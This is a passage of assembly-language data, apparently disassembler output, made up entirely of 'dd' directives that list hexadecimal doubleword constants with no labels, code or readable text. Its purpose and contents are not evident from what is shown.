5B0075DCh, 2AEBCE74h, 8DEED2h dd 62B64E72h, 9983ABD6h, 66049C00h, 7CEC5CE8h, 6EC40F0Ch dd 17C061C1h, 56079AB6h, 48A11600h, 0A4031C90h, 0ED43006Fh dd 0AEE8085Dh, 70FE9BF8h, 72C74B07h, 22831552h, 0FD96A9B2h dd 241DF1D4h, 9C0F5FBh, 7C21C4ADh, 0E02E924Eh, 0B700B3A0h dd 0A9A28A28h, 0F93ACBh, 75440672h, 62BE1978h, 0DA6B7F00h dd 0F2D2175Bh, 95A70003h, 0B89885F5h, 823F8379h, 9CA40042h dd 7BCAAA41h, 48F07F23h, 0DB8918F5h, 9D18A00Ah, 803466C3h dd 0C0DF6D80h, 0E41FCADCh, 5580E0C2h, 0D5BC45E1h, 0C57AB0h dd 0DEF65C05h, 0CD646AEFh, 0EC4BA301h, 0FB25C18Ah, 13074889h dd 0B2209C20h, 2C00E253h, 63B47DD2h, 7E06755h, 1FA3CECCh dd 3ECB3038h, 0FF008BA6h, 9778D7Ah, 113EA0Ch, 85D88490h dd 8FE7CBCCh, 0E9B28E58h, 9C9500AAh, 75A045FAh, 0DB73006Eh dd 0BF8BC2A9h, 0BA003D02h, 9F24A26Dh, 7249774Ah, 8F708Eh dd 0FBCB354Bh, 8199A565h, 0BD462E12h, 0D04C0C00h, 2456DA89h dd 807C487Ch, 0D32E7186h, 1CE8B6A3h, 225DC100h, 7C17DF50h dd 0C0490043h, 7EBB5158h, 0DD00909Eh, 2E8D2DACh, 2686F342h dd 0F9D3DFh, 0F70CF656h, 95004AD9h, 2734DA10h, 0EE55942h dd 0FEDF92DDh, 0A1D766E0h, 0ED0033D2h, 0A33AB0B9h, 0E456D8h dd 7175134Ch, 9BDAC6C4h, 9A209800h, 78ED2EA1h, 0B35E0018h dd 0A3B2D194h, 120004B5h, 5181DFDCh, 7F3EEEEFh, 36430E69h dd 0AFC0C08Fh, 738AF6F4h, 76D06200h, 9B055E20h, 668600EDh dd 55F59433h, 4758D308h, 51F000C2h, 92B123C6h, 0DB6F0053h dd 20FBEDDDh, 3500BB2Bh, 0CCD26DE8h, 77FFD0Bh, 0E59B7EDFh dd 0AD9FE0EEh, 0FA00DD12h, 0CA66F34h, 3A474E9Eh, 62802A18h dd 69723730h, 663EA115h, 5700FC43h, 6DE03BABh, 422B3Eh dd 5322D4B1h, 44081DFCh, 30264C00h, 5E295283h, 0B1820023h dd 0D69E859Fh, 2400982Dh, 70335455h, 0E892A3E1h, 6BB9071Ah dd 0A16FC47Dh, 305E3F2Dh, 0A40489A0h, 0E310B54Eh, 0BDC8AEC0h dd 570182Eh, 588218BAh, 6827F300h, 39A51C97h, 5CB40749h dd 6042DBAEh, 0FD846C61h, 0F9822A01h, 2589C41Eh, 0BB7CC0FAh dd 573D0442h, 813CFE40h, 0E8A4CBB4h, 0B70984DEh, 804B2B35h dd 5E197F01h, 3CA30E6Eh, 97C0C3E8h, 2BFE6A56h, 500C4E0Eh dd 0A57480EBh, 1357CB0h, 0A0A76582h, 8042E934h, 2A8DEA58h dd 464F02h, 0E2CFB872h, 132632BEh, 0EC9A4A07h, 6000FFA7h dd 0B8F575h, 28172CA4h, 701CCDB7h, 97C4801Eh, 0F4CC0100h dd 0F6083D4Eh, 25F691h, 41A7ACDFh, 0AAB8ED2Fh, 2B187700h dd 6361B9B0h, 0CCCB00BCh, 4CF41274h, 0C80FC907h, 20C6DD1Ah dd 9D803D9Ch, 0D52C003Bh, 0BEF69834h, 7B010C1Dh, 1620DE89h dd 0E7C88A5Ah, 2B7725h, 0FAE62A82h, 0CAD67E99h, 0E27BD01Fh dd 0B1B663C3h, 703190D2h, 0E60B0749h, 80F6C94Eh, 0EEFC6DC3h dd 2425C801h, 0D66040B2h, 52ADF20h, 72ACF7B6h, 1EF500E3h dd 0A245391Ah, 6E0FEF00h, 0F14CAE42h, 272B0080h, 0D4155C8h dd 0EC003F84h, 15EAB676h, 8E0E91h, 79ACB3CAh, 6ECC6871h dd 80551B00h, 27ED814Dh, 17D80798h, 371FD0C4h, 7076504Fh dd 0B500EAF5h, 0AE49A224h, 0E7D843h, 621346C6h, 5FC481A9h dd 0B83C5378h, 2B6B80A5h, 8259F94Dh, 1D55000Fh, 0D6E545Ch dd 620008FEh, 0B4ED2534h, 0F2E03Ch, 5B35A399h, 0A9436C40h dd 0CEB02A06h, 3852CCh, 32317278h, 4AB1BC81h, 0BE011B72h dd 0CCC393F1h, 59C4789Fh, 0E40F0083h, 1E2D33EFh, 643A21D3h dd 0C5C4007Ch, 601401B2h, 36FCA06Fh, 6CC003A1h, 24D7FC8Bh dd 38D04EC0h, 0E300957Eh, 257178A9h, 0EB16507h, 0F50A2C5h dd 4FA8409Dh, 468442A7h, 0B021322Ah, 0EC049F03h, 97F79CC3h dd 0BA1083B7h, 138F73h, 2A41D131h, 3BD77AADh, 93EA7700h dd 0D25996DEh, 0D849007Fh, 247883Eh, 6C0036CBh, 61C65A32h dd 4E340Dh, 0EAAB09D5h, 216DC4EBh, 7FB3D33Ch, 4BB9A418h dd 0EC21CA8h, 2EF673B4h, 75E4C3E0h, 0E77EFD08h, 94590615h dd 0F5BA07CCh, 7BC02438h, 61372278h, 8B66C095h, 0F560A447h dd 984E0400h, 33914Dh, 49012F4Fh, 3054529Dh, 0CADD591Ch dd 0C8AE6C40h, 122BFB47h, 0A878D71Eh, 9FE51C62h, 242E7C43h dd 3DD4C8C0h, 963100CCh, 0E8B8B6D7h, 9C00F55Dh, 18F8CBC4h dd 291F01h, 0C1E5E94Eh, 31414D1Eh, 8C8F9C3Fh, 0E043C855h dd 0D60300BDh, 0E9621767h, 72019BD9h, 60D129E6h, 0F7D4F65Ah dd 0DCCD306Fh, 7E542D10h, 56A50E0Fh, 4DDEA184h, 0D445A6B3h dd 0EFF0D800h, 34C77825h, 60D135h, 0B5EE9CD3h, 0E000AFFh dd 0B64DD8E6h, 0BA631EDh, 5AD25EF0h, 40B4BD00h, 5348E19Ah dd 74E70322h, 0C04CB734h, 309F4D70h, 141C92E5h, 9D054BA8h dd 0CDE4A30h, 3E03E405h, 0A2158420h, 0D98139CEh, 0A8AC7980h dd 2DB98C49h, 59C33800h, 0E06BD197h, 12AF0E11h, 0B6A0619Bh dd 7FEDEBAAh, 0B0E63300h, 3EA5B31Ch, 571B00F3h, 3F89796Ah dd 0CD0F4222h, 0A02605C6h, 2BBEFDA7h, 9F4004Ah, 0C9CC374Dh dd 0BD0A3D16h, 80883317h, 54BA8500h, 0F89F9Bh, 6BF78948h dd 0CC3E260Ah, 10EAA903h, 0D04E8469h, 485BD1C1h, 200110Bh dd 6C202682h, 0FA01066Dh, 93816AC3h, 0F080074Fh, 83761AE5h dd 5428446Eh, 71E697B8h, 0EEB31400h, 96FEB608h, 0ABAC01E1h dd 59FD55E6h, 56F03A65h, 8E613BF9h, 6DD66980h, 22ED2D2Eh dd 0A2F40300h, 7FD3F70Fh, 0E1B500F1h, 9E86455Bh, 11242479h dd 383D94AAh, 72104CE5h, 8C441F13h, 46D2A707h, 0B1F4B943h dd 0C211DC3h, 7110AEE9h, 2109B0F8h, 81F164B9h, 843A2D10h dd 0B84270h, 7F538DCBh, 1CF4AEA3h, 1BAB5C00h, 0A4C34661h dd 9EB0006h, 4D7CAACh, 0DA398E26h, 8FF49947h, 24601D10h dd 231E2869h, 52E700A5h, 5102ADEFh, 6C092176h, 130A210h dd 0D471561Dh, 9818CBD0h dd 0F170070Bh, 0F65E6745h, 5D001C4Bh, 0F2FF47A0h, 7D8CAAh dd 0BD033252h, 428650CEh, 0E8128D07h, 59F01B2Eh, 18124E2h dd 0D0CCC857h, 0C4BE8B41h, 95005D9Bh, 65F8EC45h, 747E5C12h dd 4918E049h, 0FF0044F0h, 16CABC10h, 5F034737h, 0EF5097B7h dd 28B88104h, 58B6160h, 7F6BD12h, 0C0A41D9Ah, 3D7405F5h dd 0AD0060BCh, 72773ADEh, 0F67B93Bh, 0C9DD5A0h, 4D5D2423h dd 1BFCE2E8h, 8F72E60Eh, 4FAE65E9h, 8B54A880h, 1F00174h dd 0D261FD88h, 0C4F5C0E1h, 475C4600h, 630458B9h, 0E77C00DBh dd 5F6AA060h, 16012D92h, 0F8EEB0F1h, 0D9FC2827h, 32DA0066h dd 0D53D6288h, 17009AA8h, 0DC11C389h, 52BB47h, 5CA092B8h dd 0CC6D0D51h, 2CB158h, 1C78FC4h, 0AA7FABh, 91E94E2h, 675B2327h dd 9DE66A00h, 0FED8C3CDh, 5C280756h, 0B22FA4ECh, 8680B973h dd 0EFD5C8A1h, 0A6B24700h, 848BDBCCh, 33FC17B3h, 0D4DB0021h dd 0E406E395h, 0F2008A73h, 0DCB40531h, 7D1E234h, 1F6B8940h dd 0F8A450BCh, 0E000A9FEh, 4502C92h, 3866E02h, 0DCCA116Fh dd 98D8B941h, 9902DDE7h, 4E08B2B3h, 2C586087h, 0C8410CC6h dd 4DA2EA06h, 4B147000h, 0B7019B48h, 0AD4500DBh, 3F239CC5h dd 78605387h, 460BB568h, 5C9A9Eh, 0E45D1159h, 729FA4E6h dd 0F4A0C290h, 23042E41h, 0A81DDC4Bh, 7EE87880h, 0C93300FDh dd 434052C1h, 2F00E77Fh, 0AE5CC6D4h, 3FC35955h, 0A98FC8C0h dd 796148A1h, 40D8CE1Dh, 0D521D210h, 0A4005377h, 0FCD76E4Fh dd 595BBF67h, 0C4078CBDh, 50D0185Dh, 0AC4938D1h, 0E993FE00h dd 0CD1DE5A5h, 870D0743h, 40365DA0h, 90B9CEAFh, 0BF28D8B2h dd 0E0002457h, 0FCC13908h, 2B386Eh, 8CC70529h, 0D311375Eh dd 18593A00h, 0BF215AC2h, 15D3048h, 0CEE92AF9h, 7E79BA7Ch dd 816E3207h, 4BF15BDBh, 2AF4AE26h, 55C00E3h, 210A60EBh dd 7A51CEEDh, 0E9C3C820h, 0D382A800h, 3AA4C649h, 0E80AF866h dd 21F6012Fh, 4F2971CBh, 29080E3h, 772E6CD3h, 989E0099h dd 64D0366Bh, 5D700194h, 418030Ah, 0F018CE9h, 56E3D87Ah dd 2DC868CEh, 2BE6D3h, 46897CACh, 7D6B8C21h, 0C0B54Ch dd 2EF11E30h, 24C880C9h, 89E49CDEh, 0DC016621h, 407029E8h dd 78A67181h, 0E056CB09h, 0DFC881F1h, 0BC22F7F0h, 0E749ED02h dd 9460EBBEh, 0D73A8C92h, 7B46BCDBh, 0ED55CE00h, 982E7ACFh dd 125BE806h, 5B094EFh, 880164C4h, 0AD4C5A8Ch, 0A2F600BCh dd 1B08E9DEh, 0B86A782Ch, 0DCF6A5h, 55F9ECB0h, 2693439Dh dd 4FCC630Eh, 9EFAA3D7h, 0E434A85Ah, 71200089h, 36A685E6h dd 0B80051FEh, 6410C496h, 0EF30EBEh, 0F61EE892h, 9AF5AD00h dd 0D9161CCAh, 58405838h, 937689BDh, 31E20016h, 36245072h dd 0CCFFEE03h, 41301560h, 51CF489Bh, 0A43D5CEAh, 0A858D400h dd 0A14494C2h, 9B4A021Ch, 21269DC0h, 70A9B706h, 791E0065h dd 0F4D0AFF3h, 6F009C57h, 5E153664h, 3B228501h, 2EBD26F0h dd 80F6C616h, 9B082F0Fh, 24C71124h, 0F0C12EBAh, 10E75602h dd 0D8BC80EAh, 60CF1Eh, 16BE52AAh, 13C9E44Dh, 0F2D6C400h dd 5694A1BAh, 4FFF2492h, 0D9A884h, 0BE1FD569h, 0DC54A3EAh dd 73F6800h, 0E39C0D16h, 0B5103CA7h, 0F97DFBh, 388BF101h dd 0AF125B92h, 80D3ED3Fh, 2778D6E7h, 0B0FABEBFh, 647D0FA4h dd 87DC5EBBh, 0B09D3189h, 0ED787F67h, 0A946C11Eh, 0E7F41FC0h dd 10B894EBh, 3E9CD45Bh, 51DE872Ah, 0AB9EA879h, 0F37480F1h dd 37BEB41h, 0DB26C748h, 31066228h, 80D84099h, 67B3D79h dd 2707D900h, 1E59B848h, 2E67F900h, 0FC6C84F5h, 25AF00EEh dd 0A3AA4F9Dh, 0BB3E46F7h, 3704F9A9h, 0FEA0A108h, 47139680h dd 39510EB0h, 4FCB5F73h, 0BAF69481h, 51CF801h, 468BA200h dd 40601E44h, 38530720h, 901A247Fh, 362165C0h, 70FDBAE8h dd 0BE00164Ch, 95145748h, 267B18B1h, 58D722h, 9CB87834h dd 5490AC41h, 0A15B3501h, 0B989E649h, 5853DEC0h, 5000D8A9h dd 0B0CCFF32h, 200E525h, 805AAD0Ah, 26F7F88Ah, 1F9CE81Dh dd 52A14042h, 66DB97D6h, 0AF8D8617h, 3F5C7043h, 6E27F892h dd 0FBBA1E15h, 628F00EAh, 39ECB969h, 0ACA51128h, 1D43EF00h dd 87F33C72h, 591E006Dh, 0E07ACB89h, 0B8C54C88h, 0C8C7F840h dd 792F32B0h, 0DEBE01E6h, 0D0D3DFD5h, 0ABFECC6Bh, 3EF9EF00h dd 7DCCC293h, 0B0AA5D29h, 0CE95F100h, 0A4ACCF2Ch, 0A5006FF2h dd 287F4B03h, 24925157h, 0BA54746Ah, 843D8680h, 971FD22Bh dd 26B4A70Ah, 832C9871h, 1CC8380Bh, 31351848h, 0F56DB273h dd 49A44806h, 8019FEh, 0C339178Eh, 62DFE606h, 632D5405h dd 0F01FA681h, 0A79B38C3h, 78BC80D1h, 0B5C702E5h, 20B16D3Dh dd 218DB848h, 0B66C900h, 797FCDEh, 0F5A700D4h, 144CDAC2h dd 0C0B8D1AAh, 80A3E039h, 8E7B06DFh, 0A5030Ch, 90E2FF65h dd 0F6ECC1EAh, 1C3E2E00h, 0A3AD2B5Bh, 16D6000Fh, 92426187h dd 3760590Dh, 4C28DE19h, 1B940012h, 4A1EE56Eh, 0A53962A7h dd 187FF8CBh, 98683900h, 3113BBF0h, 9149005Dh, 29961A71h dd 6B00B379h, 0F3A48F0Dh, 983F180Eh, 0C9D70028h, 67CB741Ch dd 0D17A0F27h, 363CA200h, 72382BF6h, 7D517CF9h, 395E008Eh dd 211547CEh, 853A6D7Bh, 52A29306h, 776C2000h, 7E43074h dd 36D21056h, 2C00CBDDh, 0C33359BFh, 0F60075F8h, 4A3B99B1h dd 21769DAh, 827B0CD8h, 0ADE1F4EDh, 3B838E1h, 8BC76B95h dd 5E5AF8E3h, 24EC727Dh, 0C0282h, 9EDE1677h, 0BE497C9Fh dd 8A45262Ch, 1EC09000h, 69B0BD1h, 2944975Bh, 0C5002012h dd 9FD7C739h, 4F3013D9h, 0F7444EFAh, 7219D540h, 71094B08h dd 7FF2739h, 9D51449Ch, 48243F87h, 164B92h, 7F14763Ch dd 74002FA2h, 5D086033h, 41AC97h, 0BE9FC68Dh, 0CC9DF391h dd 0AE07C07h, 9BF575C9h, 0DE6A77C0h, 32E20054h, 0C70990A0h dd 921DD10Ch, 0FD944C2Fh, 0BDFA1CB8h, 0BE12287h, 0CE0A4233h dd 2647FA18h, 5D2F59Dh, 4256765h, 0D093F0B7h, 5A60DF88h dd 0E6CA8780h, 0D7E09B1h, 35804996h, 9FAB174Dh, 59543Bh dd 745F014h, 3CF2D1E2h, 38281D56h, 0C0A9FCD4h, 5B36A0ECh dd 1A006072h, 0C770A5C1h, 760D30E0h, 54C0074h, 0D6BA8C22h dd 4509E246h, 21CC84AAh, 0BCE11828h, 0D96930h, 0FAF27BB5h dd 378D2332h, 7E265600h, 0BF82E84Eh, 0B0B0EEh, 633CAD19h dd 11D158A4h, 461D68C0h, 5EE11Eh, 0F8E3D77Fh, 0D6C22DDh dd 26207700h, 0FF48F775h, 0CC7B00A4h, 0A1FE0B37h, 7E3E36AEh dd 18E6F8CEh, 0BA829300h, 4CA4E628h, 0E7923FFCh, 794D848Eh dd 34AAD820h, 290302D7h, 0C2355990h, 0E215D865h, 0D004005Dh dd 0B9F5E8A8h, 1279E0A1h, 0BC58B024h, 2880E413h, 4A4AA7F0h dd 0C0802BC4h, 0BF6DFC29h, 0CE128415h, 6880185Bh, 1D5D7099h dd 1D988729h, 0CFFB0332h, 21009345h, 86BDAC15h, 61A5E22Bh dd 0D8B908F8h, 20BC06h, 94FFE993h, 0C0DADBh, 44FA7F32h dd 3C196556h, 8206A400h, 0D7D8076h, 23130307h, 0B1F30C2Bh dd 728DAAD8h, 0B2479900h, 0DCC71B3Ch, 9017181Ah, 0DACDB038h dd 0CE99C20h, 2E68DB55h, 0A80E2618h, 0FD067DEBh, 0FADC803Fh dd 85F74C48h, 0BBD23A68h, 33A1CC30h, 38E0C4E9h, 0E51B4971h dd 18D85464h, 0E9078FF1h, 0E600A43Fh, 0BACCEA6Eh, 0AF6CF21h dd 49D2FB2Fh, 0F018ECCh, 9D849854h, 0C510B280h, 98000815h dd 58A5E9CBh dd 0B6A7006Dh, 66E7884Eh, 0BF0014D6h, 687B2B33h, 348E350h dd 0DD2ECC2Ch, 3489444Fh, 14FF70AEh, 0CE6CC000h, 5173D272h dd 63B600B9h, 619ADBD7h, 7D00AAFFh, 54F62F04h, 0B192BFh dd 43E9B42Bh, 0EE96A938h, 500FE87Ah, 476C8FA6h, 16B08831h dd 0E28E2F74h, 34B603D8h, 0DCE5D913h, 49058680h, 0FF673D0Ch dd 0B853F0BAh, 2F170116h, 0A9613B45h, 0C1F2F49Eh, 0F2C31A28h dd 0E7B8E90Bh, 7600188h, 0EBE011D8h, 0CE8F00ACh, 4D452493h dd 991DAEF8h, 0FA4EFC79h, 0DA5AA315h, 61C1E8B5h, 0C7D20DA4h dd 0FE180BE2h, 38F8E161h, 732987C4h, 0E5709260h, 3CCD7E03h dd 7700B196h, 0F06A0CE2h, 98608268h, 0C5ADE121h, 5CEEFAh dd 0BF31F9F2h, 0A61BA817h, 0F0844F0Eh, 0F1A34012h, 0E6FCAF6Ah dd 0AC9200A5h, 27BF757Dh, 0E4B0E9A6h, 0F169640Eh, 84902009h dd 5816939Eh, 190028B9h, 0E48D3347h, 4804EE13h, 0AFAB9252h dd 72A1AC92h, 0CDD50078h, 0A381F8C0h, 8E007DD6h, 0C86E2C90h dd 6269365h, 0DD338536h, 4C001155h, 6ED9D370h, 484FF102h dd 0E780C0AAh, 8F717B0h, 0E4CA1E0Bh, 2B5020A4h, 0B63391A6h dd 0A914800Ch, 0AEC00AC2h, 0F7D4D16h, 2FD440Bh, 5047453Ch dd 0E6C61C30h, 0E8D7C0CDh, 72E77DFAh, 705F8F0Eh, 50FD44A4h dd 2C5794F0h, 3D70CC5Bh, 5D51A750h, 860278C6h, 0A382C3FAh dd 2E7990E0h, 9A07000h, 23E44F03h, 0BCBE0B9Ch, 368008F6h dd 0B25EF5Ah, 0C7748000h, 0AE541819h, 0B52600B1h, 0D524651Ah dd 4E00899Ah, 11EC2DF8h, 51E947h, 0D19DA573h, 0D02B4844h dd 876B605h, 0F4A0339Eh, 4C383086h, 8AE1BBFAh, 0F88E0E02h dd 48AC484Fh, 92DDF0h, 9507881Ch, 21004C6h, 8F864C04h dd 64A0B577h, 9EC500C2h, 79C3A1E7h, 0C400C910h, 0DF26EC6Eh dd 20AD3Fh, 0D3699807h, 54A4B7B5h, 0E7503Fh, 7FE9CAD5h dd 0B0648511h, 50F061EBh, 20FD224Fh, 6700DC69h, 0A4943C16h dd 0AFCE96h, 0F2AB897Fh, 0F4C4F142h, 64E74801h, 0AA659251h dd 126F4474h, 128973Eh, 8CBB17A4h, 74428C8h, 9298EF39h dd 0A32E0DFh, 30CC23D0h, 6978F271h, 7C2CA3A8h, 13C5CAFh dd 0B096F981h, 0A8C3218Ah, 9EF18Dh, 3AE1C26Fh, 2451765Dh dd 22BA7F01h, 3E576892h, 0E512E02Ch, 0C0305CBBh, 9E3B9544h dd 7A13CBB0h, 84409B29h, 0FBB7F16Fh, 2F3800C5h, 0DF7C7E61h dd 0F807AAE8h, 7A2D0DB0h, 0C9CF0BC0h, 0E22A1CC1h, 20AB4001h dd 655195CAh, 3EDFCD07h, 0C5254BBEh, 8E00F0E2h, 26C706C3h dd 0EC07D134h, 8C2F46C6h, 0D00FD620h, 14410B69h, 8A80C5A2h dd 0D161B0E0h, 0F3426B02h, 61D95807h, 0D4E453B7h, 0F44AEDh dd 7C4DDD70h, 9900FAFCh, 8B4031DBh, 0A0EA03h, 0A3D44BE1h dd 6509B70Fh, 11306633h, 7A4004CFh, 0C0137440h, 25883280h dd 20A02630h, 72999D9Ah, 790B8BBh, 0C70E3B40h, 0E40AA6h dd 491428F7h, 35F0B581h, 2898DF30h, 5F8D110Ah, 4E244136h dd 0FC457A12h, 64006C18h, 5A1F3CAh, 2EB47FCh, 41D1BF77h dd 0ECF0C5C3h, 72D8921Dh, 7EA57FC0h, 1B60233h, 56DA258Bh dd 2024BB68h, 0F600D687h, 0A20837FEh, 0FEC7BE66h, 3BBF0083h dd 0C93047EEh, 3500A717h, 0D25A7D45h, 4B085425h, 392C00DEh dd 8AAB84ADh, 0E00ACFEh, 18C5FFC0h, 17ECC4C1h, 87B1B6h dd 1CDEA33Eh, 74037C01h, 85F312D0h, 68F18A46h, 43F835Ch dd 51826AE8h, 789090C3h, 0EB018953h, 0DA1A9512h, 70247525h dd 0E4213F30h, 0ECC5BB8Bh, 0DE28CC80h, 334D860Bh, 0C8A7003Ch dd 67E6A22Eh, 8D6E1670h, 0FF3C0B89h, 0A2258487h, 50434EFCh dd 0EB007FDh, 0D18E011Fh, 0AC0FC27h, 0BE4A6E00h, 471D7311h dd 4B611FE7h, 2B8C02DAh, 0DD409C39h, 0BA006A46h, 0C8344C37h dd 58E6C128h, 0C21E3997h, 0A160E0Dh, 4A58D380h, 0ED12D8AEh dd 0BC5F4FC1h, 7DF35047h, 8E462412h, 191B40F8h, 7963CBCh dd 326055Eh, 0E4991D07h, 570083E1h, 0F50602E8h, 76D8948h dd 0A6263A1Ah, 0BED550F4h, 0A3B89C12h, 7436F700h, 89B343FFh dd 70B7F96h, 0C43ABAE5h, 2E7AD0D9h, 0A4B0BE47h, 2F7E5C03h dd 0E235B159h, 0E0563Bh, 8D5E0C5Dh, 3034137h, 21B49F75h dd 8A1CA82Dh, 8FE19h, 56EB71EEh, 0D11EF799h, 9F9B0A01h dd 6C874FD9h, 6D052F1h, 843000DFh, 39E360ADh, 2C07CF20h dd 1BA2ED70h, 8FB8DD0h, 33CB07D7h, 57FD372Ah, 48B1A03Fh dd 9F095D0Fh, 251C6ACFh, 70918214h, 7C281833h, 0B6DC1FBEh dd 0E600C8E4h, 0C8DD3510h, 2508A821h, 93622EFCh, 0B29745F0h dd 384070ECh, 27E806h, 9FF3C2CCh, 0F13A3B0h, 0B6DD8A00h dd 19BAC42Eh, 3BD1F693h, 620056BFh, 8FAB8D6Ch, 7300DE2Bh dd 0CE590935h, 5C991A65h, 0CB003478h, 4B042FE9h, 1160A35Fh dd 6710FDC4h, 9D310B5Bh, 0EC615D48h, 280FE1B9h, 0E22B0E64h dd 0CC9AC1E6h, 29822A5Bh, 5AB4873Dh, 823E0CF2h, 0E460517Fh dd 0C73E3511h, 0A293803Ah, 6D37688Ah, 0DB780066h, 0DA4CF470h dd 83075ED7h, 5A7ED0E9h, 3AA1FE90h, 1A800006h, 6BBD9F49h dd 0C90018DAh, 0EC194A8Bh, 2DBAF0h, 2FCDCEA5h, 0DCE8C7BFh dd 2BEFA600h, 3CA777C5h, 0BDA90050h, 4F84E416h, 4250E758h dd 983A8EB4h, 8F100F9h, 9E9D9162h, 2F7301FBh, 304455A5h dd 101C60F7h, 43B95901h, 0CB7E50D9h, 5F004078h, 8D3A5382h dd 1C00D6D3h, 0DEB62D7h, 3875D264h, 5FBEC1B0h, 40069013h dd 1BAB461Ch, 48121F29h, 10E051A2h, 1260BA9Dh, 0A0A9A805h dd 2000AECCh, 3B4C8F8Bh, 0C659C8h, 0A81E02A3h, 0F8D328C2h dd 0FCB5F501h, 3630984Ch, 4A5C20h, 269E6613h, 7196ED51h dd 4BA4E116h, 0A740381Ch, 493D03BDh, 0D8830059h, 274A930h dd 5E006B3Bh, 0EB7DDCA3h, 39D0FB5h, 50539B77h, 0B8161BDDh dd 9200BA99h, 0B75FF037h, 228C00FAh, 0CE69E7A8h, 8100FC6Dh dd 50F778E5h, 3773B0h, 25FA9CC9h, 0A27A76EAh, 800B3EE2h dd 0C4ADA7h, 0FBFDDC20h, 2C7F5C2Bh, 91FE6900h, 3F1C0633h dd 9DA1111Fh, 8C8B0D8Ah, 0D4BAAB00h, 0B8D01DE5h, 9A4522ACh dd 40998A00h, 0AC83A2AAh, 0F6D300C2h, 0BC693C8Dh, 24008EEDh dd 0CA6FF736h, 0CF8384h, 0C26934Ah, 0EAFBA7B3h, 52BF2100h dd 0F69151E1h, 0F3380023h, 0F76A900Bh, 24B4C74Fh, 0B34AE920h dd 970C7C00h, 38B1855Fh, 5858D678h, 28966500h, 0A316DBD4h dd 0DA4A520Fh, 5B8C00DDh, 0EC5468h, 21A8991Dh, 17A6E40Ah dd 9E297900h, 1FB4DD57h, 0F5133B8Eh, 0CF314C00h, 0E4F93A21h dd 61AFE525h, 2B52BCh, 9457CA4h, 0D5394E89h, 0C0C2CBC6h dd 977C56F5h, 9E02026Eh, 384B3D53h, 0BA6B740Eh, 0CCC3A01Fh dd 124C3478h, 1DF31446h, 0A17BC020h, 4FB8A67h, 4D134917h dd 0C11C7C00h, 3DD2D956h, 9583F883h, 939604B1h, 8D8F5901h dd 2F22179Ch, 98C27ED8h, 7887AF0h, 3403FB86h, 67AC50BBh dd 4F00EA06h, 0E5CA6881h, 10FED1h, 0C2B0A7E2h, 0E4A29250h dd 0AC2C8097h, 1F79973Eh, 819E73h, 0C808DD2Dh, 4100DF63h dd 0A15A3072h, 0F5593Eh, 0F769BA33h, 76F23FBBh, 35DEC300h dd 269CAF05h, 159EE88h, 614E8193h, 404287F0h, 0EA472AFCh dd 0BFE811FCh, 5B58E50Fh, 0D4BC20F7h, 868E6Eh, 7F37B62Eh dd 475D93E2h, 41189503h, 9860E640h, 3A787C35h, 27800C4Bh dd 0BF7F8668h, 6600B592h, 0B0CC7AD4h, 48974F38h, 0C2082041h dd 6F0355C0h, 87D025B3h dd 47643C30h, 2A271215h, 307080B5h, 0B100B242h, 0BC09F7ACh dd 0B95F67h, 0C548EE51h, 5AC4C696h, 8191CD09h, 151080EDh dd 0A8FC77F2h, 995F3C8h, 0B78D459Dh, 98295422h, 75002C58h dd 268EBDD6h, 4A9B039Dh, 410C0050h, 46B4C4A4h, 0DD005D76h dd 7E0ECA1Eh, 0F87087h, 7BBBB7D3h, 0B6534969h, 206EDF07h dd 50509F7Fh, 2A5EEBh, 5458741Fh, 8F781BBEh, 0FBD6A600h dd 48DE894Ah, 504500F7h, 0BB6BF394h, 1700923Dh, 46D5E886h dd 1C2EFFh, 0B16E639Ch, 0A95D0BC0h, 30C46A05h, 58C29A67h dd 0BC89C1D4h, 0DA0370h, 4438B941h, 74D82A36h, 0A6A51900h dd 672587D4h, 8F5000A9h, 0A3F9ECB1h, 0DB0092E2h, 19A1317Dh dd 0DC1BF7h, 0D9C32E1Dh, 724EBB47h, 2269CD01h, 8352F10Bh dd 1F4643E0h, 8024F54Ah, 10BDA6DDh, 0FB027FE4h, 0F3A4C131h dd 422CF2DAh, 206CC06Bh, 16C14235h, 0C0363Fh, 664AC48h dd 2C481B01h, 0A1F20057h, 826B3839h, 214A0E54h, 0E8A0788Dh dd 0B2EB5362h, 52B6ED01h, 1C131D65h, 52976FCh, 0C4309DAFh dd 0DB08D0A1h, 200C194h, 0BC384DB0h, 0CFDC23h, 0DE169C86h dd 9526D77Dh, 2CBA3400h, 93F3E4D3h, 69AC009Eh, 3B7C5CAAh dd 582DC598h, 5DADC76h, 80245A4Dh, 2CABB81Ah, 0D10CD706h dd 202940h, 0E41539Dh, 0EE7CF2ECh, 72980903h, 0B7369AEDh dd 0C0422F40h, 0D67F07h, 0A39E5B16h, 58AFFD40h, 4B84Ah dd 0D8D0844Eh, 161C92DBh, 0EC069394h, 0D08601C4h, 0EEEBFB55h dd 0B7741D4h, 1E37BFFFh, 0EA812B80h, 2E05F687h, 0BE1650F0h dd 80D4E0h, 7B85B9EBh, 789065Ah, 0BADE6A00h, 0B4E81D7Dh dd 0C77330h, 33977F5h, 0FAF4F4Bh, 80C41A39h, 0EEA31C14h dd 1F69E308h, 0C2BBCC5Ch, 0C2EB186Bh, 0F00987Eh, 0DD679CC8h dd 25BA0E4Ah, 1C60B4C0h, 96236F6h, 0A84EB85Fh, 582F60DCh dd 12C119Dh, 0ADCF6647h, 0E40B4452h, 6C004F8Dh, 597BBA3Bh dd 984608h, 0D4739EF2h, 0D1CF7D61h, 6CB07E1Dh, 0AB09D200h dd 0FA8EA495h, 0E0B9748Dh, 0BF2900AAh, 6D81D796h, 9A00DBF5h dd 0EB19AC06h, 2DE41CDh, 0B23B7636h, 0E056085Ah, 0E67C9300h dd 1F6782h, 2D448C42h, 890E2FE0h, 0F20FA90Eh, 0D9AD4045h dd 0E5C98A0Ch, 0FD002C68h, 146ACA24h, 3905FAB1h, 62014EF9h dd 3DC3CFC1h, 0B769C8h, 9C8B7F08h, 0D726B1C4h, 8252B301h dd 5D2CB5Ch, 0BB1CA838h, 5EBA40F2h, 0D65330ADh, 0B68E510Fh dd 0E7A280E5h, 26C9C13Fh, 80909531h, 3E438330h, 0D4B42B63h dd 6D3AE980h, 4EBB6A79h, 20B41315h, 0CCC4F260h, 0EA10C050h dd 0C7C5FB13h, 0BF7CC480h, 80A09450h, 0F63868E6h, 582DFB1Dh dd 0D5A0A748h, 1809902h, 8772C0FCh, 21BAC318h, 7CB56383h dd 0E5F011h, 0C5CB29BCh, 69D62BD2h, 3CA5E600h, 3165B09Dh dd 0A39027h, 0AD86DBFAh, 0AFCCFC2Fh, 0B8E241D2h, 0E8FC2880h dd 20C002ABh, 5A87216Ah, 